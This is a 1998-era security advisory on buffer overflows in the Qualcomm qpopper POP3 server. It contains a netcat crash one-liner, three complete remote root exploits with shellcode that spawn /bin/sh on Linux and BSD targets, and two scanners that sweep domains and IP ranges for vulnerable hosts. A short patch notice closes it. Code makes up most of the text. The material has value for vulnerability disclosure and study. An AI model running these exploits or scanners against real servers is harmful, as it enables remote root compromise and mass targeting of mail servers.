COMMAND
popper
SYSTEMS AFFECTED
Systems running Qualcomm popper 2.41beta1 and prior
PROBLEM
Several vulerabilities have been found regarding Qualcomm popper.
Those vulnerabilities may lead to remote exploitation. Here's a
brief info.
By Seth McGann:
===============
The most obvious offender is the vsprintf() on line 66 of
pop_msg.c.
By Miquel van Smoorenburg
=========================
Buffer overflow in X-UIDL processing (compromise an account by
sending mail to it ..) The UIDL handling in pop_dropcopy.c can
potentially later result in a buffer overflow. Overflow actually
ocurrs in pop_udil.c and the prevention of the overflow is by
limiting the uidl length in pop_dropcopy.c. Overflow is possible
because both data from the X-UIDL header and the from line are
combined in one sprintf().
By Aaron D. Gifford (appendum to Miquel van Smoorenburg finding)
================================================================
Further investigation resulted in another potential overflow in
pop_uidl.c that can occur even when uidl length is limited to 128
chars. The potential overflow can occur in the pop_euidl()
function in two different spots where this code appears:
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %s", buffer, mp->length, from_hdr(p, mp));
Even with mp->uidl_str limited to 128 chars, the from_hdr(p, mp)
code can return the text from a message's "From:" header which
could then overflow the buffer. Also, the from_hdr() function in
the pop_uidl.c file returning a pointer to a non-static buffer?
That's wrong, is it not? It is defined:
char buf[MAXLINELEN], *cp;
Should it not instead be:
char * cp;
static char buf[MAXLINELEN];
by John Fraizer
===============
After applying all the patches with exception of the PAM patch in
the .RPM'd version of qpopper2.4.src, he has located yet another
hole in qpopper. This popper was compiled with -DAUTH in the
makefile. Connecting to the popper and sending a line of garbage
will now generate the maximum permitted size error. Providing an
INVALID username and sending a line of garbage (1000+ chars), does
not segfault, but with VALID username will seg fault. Looks like
basically that if the parser sees that the command was actually a
password argument, it doesn't send it through the truncate code.
To see if you're vulnerable:
perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110
Of course, assuming you have netcat (nc) on your system... if not,
just telnet to your server and paste something like 20 lines of
solid characters into your telnet window... You'll get the -ERR
response back... at which point unpatched servers should core
dump... and you get "Connection closed by foreign host." Stock
BSDi 3.0(3.1) all the latest patches(M310-034) DOES core dump, but
does not print out the 'ERR', so BSDi people may want to keep that
in mind.
Herbert Rosmanith posted exploit. Note that, after "qpush" has
successfully executed /bin/sh, you will not see any prompt. type
"id" to see who you are, like that:
$ ./qpush technix.oeh
дояїдояїдояїдояїдояї
id
uid=0(root) gid=0(root)
Before exploit, more info about him (regarding only first one,
after there's another for Linux and one for BSDish systems plus
two scanners for vulnerable sites):
o target architecure: that's the architecure where popper runs.
this must be ix86-linux. Will not work on FreeBSD or any other
OS.
o 'local' architecure: that's the programm to run 'qpush' on.
this can be anything you want, but mind that on other systems
than linux, you may have to add header files and/or libaries.
don't forget to byte-swap (ntohl()) the addrlist entries on
big endian machines.
o debian QPOP v2.2 seems to be immune to 'qpush' ?
o if you have compiled popper yourself, the return adresses in
"addrlist" may not match your binary. try altering these
adresses.
o 'qpush' at least works for suse-linux qpopper v2.2 (same binary
every- where). suse has been mailed about that.
o I've check qpush with several homebrewed binaries and found that
long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffeb80 /*2.41beta1*/
}
will work better than the "0xbfffec18 /*2.41beta1*/"
before. Blah, here's the exploit:
/* qpush: qualcom popper buffer overflow exploit (pop_msg)
* Mon Jun 29 01:26:06 GMT 1998 - herp
* Herbert Rosmanith
* herp@wildsau.idv.uni-linz.ac.at
*/
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>
long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffec2c /*2.41beta1*/
};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh.........";
void die(char *s) {
if (errno) perror(s);
else fprintf(stderr,"%s\n",s);
exit(-1);
}
void usage() {
printf("qpush [-index] <hostname>\n"
" -0 QPOP Version 2.2 (default)\n"
" -1 QPOP Version 2.41beta1\n");
exit(0);
}
int resolv(char *host,long *ipaddr) {
if (isdigit(host[0])) {
*ipaddr=inet_addr(host);
if (*ipaddr==-1) return -1;
}
else {
struct hostent *hp;
if ((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"tc: %s: unknown host\n");
exit(-1);
}
*ipaddr=*(unsigned long *)hp->h_addr;
}
return 0;
}
int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;
s=socket(PF_INET,SOCK_STREAM,0);
if (s==-1) die("socket");
if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
die("unknown host");
s_in.sin_family=AF_INET;
s_in.sin_port=htons(port);
if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
die("connect");
return s;
}
void socket_read(int s,char *buf,int len) {
int i;
switch(i=read(s,buf,len)) {
case -1: die("unexpected EOF");
case 0: die("EOF");
default:
buf[i]=0;
//printf("%s",buf);
break;
}
}
void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;
for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
for (;;) {
memcpy(&rfds,&fds,sizeof(fds));
i=select(s+1,&rfds,NULL,NULL,NULL);
if (i==-1) die("select");
if (i==0) die("session closed");
if (FD_ISSET(s,&rfds)) {
if ((i=read(s,buf,sizeof(buf)))<1)
die("session closed");
write(1,buf,i);
}
if (FD_ISSET(0,&rfds)) {
if ((i=read(0,buf,sizeof(buf)))<1)
die("session closed");
write(s,buf,i);
}
}
}
void main(int argc,char *argv[]) {
char buf[1024+128];
int s,i,ix;
if (argc>=2 && argv[1][0]=='-') {
ix=atoi(&argv[1][1]);
argc--;
argv++;
}
else ix=0;
if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
usage();
s=connect_to(argv[1],110); /* WKS POP3 */
socket_read(s,buf,sizeof(buf));
memset(buf,0x90,sizeof(buf));
for (i=981;i<981+10*4;i+=4)
memcpy(&buf[i],&addrlist[ix],4);
memcpy(&buf[941],shellcode,strlen(shellcode));
buf[sizeof(buf)-3]=0x0d;
buf[sizeof(buf)-2]=0x0a;
buf[sizeof(buf)-1]=0x00;
write(s,buf,sizeof(buf));
socket_read(s,buf,sizeof(buf));
terminal(s);
}
Another example:
/* Exploit for qpopper 2.4 (and others) for Linux
* by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
*
* usage: (./qpopper <offset>;cat)|nc <victim> 110
* with offset around 1000 (try increments of 50)
*
*
* shout outs to: Zef and YZF
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFFSIZE 998
char shell[] =
"\xeb\x33\x5e\x89\x76\x08\x31\xc0"
"\x88\x66\x07\x83\xee\x02\x31\xdb"
"\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
"\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
"\xee\x02\x8d\x5e\x0e\x89\xda\x83"
"\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
"\xff\xff/bin/sh";
unsigned long esp()
{
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv)
{
int i,j,offset;
unsigned long eip;
char buffer[4096];
j=0;
offset=atoi(argv[1]);
eip=esp()+offset;
for(i=0;i<1008;i++) buffer[i]=0x90;
for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];
i=1005;
buffer[i]=eip & 0xff;
buffer[i+1]=(eip >> 8) & 0xff;
buffer[i+2]=(eip >> 16) & 0xff;
buffer[i+3]=(eip >> 24) & 0xff;
printf("%s\nsh -i\n",buffer);
}
BSDish example of exploit:
/*
* QPOPPER - remote root exploit
* by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
*
* - tested against: FreeBSD 3.0
* FreeBSD 2.2.x
* BSDI BSD/OS 2.1
* - offsets: FreeBSD with qpopper 2.3 - 2.4 0
* FreeBSD with qpopper 2.1.4-R3 900
* BSD/OS with qpopper 2.1.4-R3 1500
*
* this is for EDUCATIONAL purposes ONLY
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/errno.h>
char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
"\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
"\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
"\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
"\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
"\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define ADDR 0xefbfd504
#define OFFSET 0
#define BUFLEN 1200
char buf[BUFLEN];
int offset=OFFSET;
int sock;
struct sockaddr_in sa;
struct hostent *hp;
void main (int argc, char *argv[]) {
int i;
if(argc<2) {
printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
exit(0);
}
if(argc>2)
offset=atoi(argv[2]);
/* Prepare buffer */
memset(buf,0x90,BUFLEN);
memcpy(buf+800,shell,strlen(shell));
for(i=901;i<BUFLEN-4;i+=4)
*(int *)&buf[i]=ADDR+offset;
buf[BUFLEN]='\n';
/* Resolve remote hostname & connect*/
if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
perror("gethostbyname()");
exit(0);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("socket()");
exit(0);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(110);
memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
perror("connect()");
exit(0);
}
printf("CONNECTED TO %s... SENDING DATA\n",argv[1]); fflush(stdout);
/* Write evil data */
write(sock,buf,strlen(buf));
/* Enjoy root shell ;) */
while(1) {
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
if((select(sock+1,&input,NULL,NULL,NULL))<0) {
if(errno==EINTR) continue;
printf("CONNECTION CLOSED...\n"); fflush(stdout);
exit(1);
}
if(FD_ISSET(sock,&input))
write(1,buf,read(sock,buf,BUFLEN));
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}
And now let's take a look at scanners. First one comes in form of
shell script made by 'twiztah':
#qpopscan.sh by twiztah 7/5/98, enjoy script kidz.
#----[snip]-----------------------------------------
rm -rf qpscan 2>&1
ln -s `which telnet` qpscan
if test ! -r scanned.log; then
rm -rf scanned.log
touch scanned.log
fi
echo "+---------------------------------------------------+"
echo "| qpopscan.sh by twiztah [twiztah@maxho.com] 7/5/98 |"
echo "+---------------------------------------------------+"
if test -z $1; then
echo "uhm, i dont think you passed a parameter.."
echo "usage: "`basename $0`" yourdomain.com"
exit 0
fi
echo "scan("`grep -c scan scanned.log`"):" `date +"["%D" "%l:%M%p"]"` "-- $1" >> scanned.log
echo "[1] now scanning for subnets ($1)"
host -l $1 > $1.hostlist 2>&1
rm -rf subnet-do mailhosts 2>&1
cat $1.hostlist | grep "name server" | awk -F ' ' ' {print "host -l " $1 " >> mailhosts"}' >> subnet-do 2>&1
sort < subnet-do > subnet-do.sorted 2>&1
uniq < subnet-do.sorted > subnet-do.uniq 2>&1
rm -rf subnet-do subnet-do.sorted 2>&1
mv subnet-do.uniq subnet-do 2>&1
chmod 755 subnet-do 2>&1
rm -rf $1.hostlist 2>&1
echo "[2] now setting up the scan ($1)"
./subnet-do 2>&1
rm -rf subnet-do todo chk-qp 2>&1
cat mailhosts | grep "has address" | awk -F ' ' ' {print "./qpscan "$4" 110 >> chk-qp 2>&1 | (sleep 8 ; killall -9 qpscan > /dev/null 2>&1)"}' >> todo 2>&1
sort < todo > sorted.todo 2>&1
uniq < sorted.todo > uniqed.todo 2>&1
rm -rf todo sorted.todo 2>&1
mv uniqed.todo todo 2>&1
chmod 755 todo 2>&1
echo "[3] now scanning" `grep -c . todo` "machines for qpopper ($1)"
./todo > /dev/null 2>&1
rm -rf mailhosts todo 2>&1
echo "[4] done scanning ($1)"
echo ""
#we dont need the patched ones
cat chk-qp | grep -v 2.5 >> results.$1.stripped 2>&1
mv chk-qp results.$1.original 2>&1
echo "[!] QUALCOMM appeared : "`grep -ic QUALCOMM results.$1.stripped` "times"
echo "[!] QPOP appeared : "`grep -ic QPOP results.$1.stripped` "times"
echo "[*] original results : "results.$1.original
echo "[*] stripped results : "results.$1.stripped
echo "[%] this was scan num : "`grep -c scan scanned.log`
echo ""
echo "greets to: promo, joker, meta, retro, sinkhole, mj, icetrey and qualcomm"
echo "-[ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.52.tar.Z]-"
echo ""
#eof
#----[snap]-----------------------------------------
#i am not responsible for the use of this script
Second one is in form of C souce and it won't give you popper
version:
/*
Black Angel proudly presents:
-----------------------------
QPOP Scanner V1.0
Syntax :
./qscan 195.3.90.2 196.0.0.0 <- will scan the specified IP range
*/
/*well I don't know whether we will need all, but... :)*/
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
void main(int argc, char *argv[])
{
int sock;
struct in_addr addr;
struct sockaddr_in sin;
unsigned long start;
unsigned long end;
unsigned long counter;
char buffer[1000];
printf("Black Angel's QPOP Scanner V1.0 7/1998\n");
printf("E-Mail : b_angel98@yahoo.com\n\n");
if (argc!=3)
{
printf("\nusage : %s start-ip-address end-ip-address\n\n",argv[0]);
exit(0);
}
start=inet_addr(argv[1]);
end=inet_addr(argv[2]);
sock=socket(AF_INET, SOCK_STREAM, 0);
for (counter = ntohl(start); counter <= ntohl(end); counter++)
{
if ((counter & 0xff) == 255) counter++;
if ((counter & 0xff) == 0) counter++;
sin.sin_family=AF_INET;
sin.sin_port=htons(110);
sin.sin_addr.s_addr=htonl(counter);
addr.s_addr=htonl(counter);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))==0)
{
read(sock, buffer, sizeof(buffer));
if (strstr(buffer, "QPOP")!=NULL)
{
fprintf(stdout, "FOUND : %s\n", inet_ntoa(addr));
}
}
}
close(sock);
}
SOLUTION
A patched qpopper2.52 is made available at:
ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.52.tar.Z
Please upgrade or patch your server if you are running any qpopper
older than 2.52. Silicon Graphics distributes a freeware
BSD/Qualcomm POP server called fw_BSDqpopper which is on the
Freeware 1.0/2.0 CD and also on the WebFORCE CDs. fw_BSDqpopper
is also available from the web via:
http://toolbox.sgi.com/TasteOfDT/public/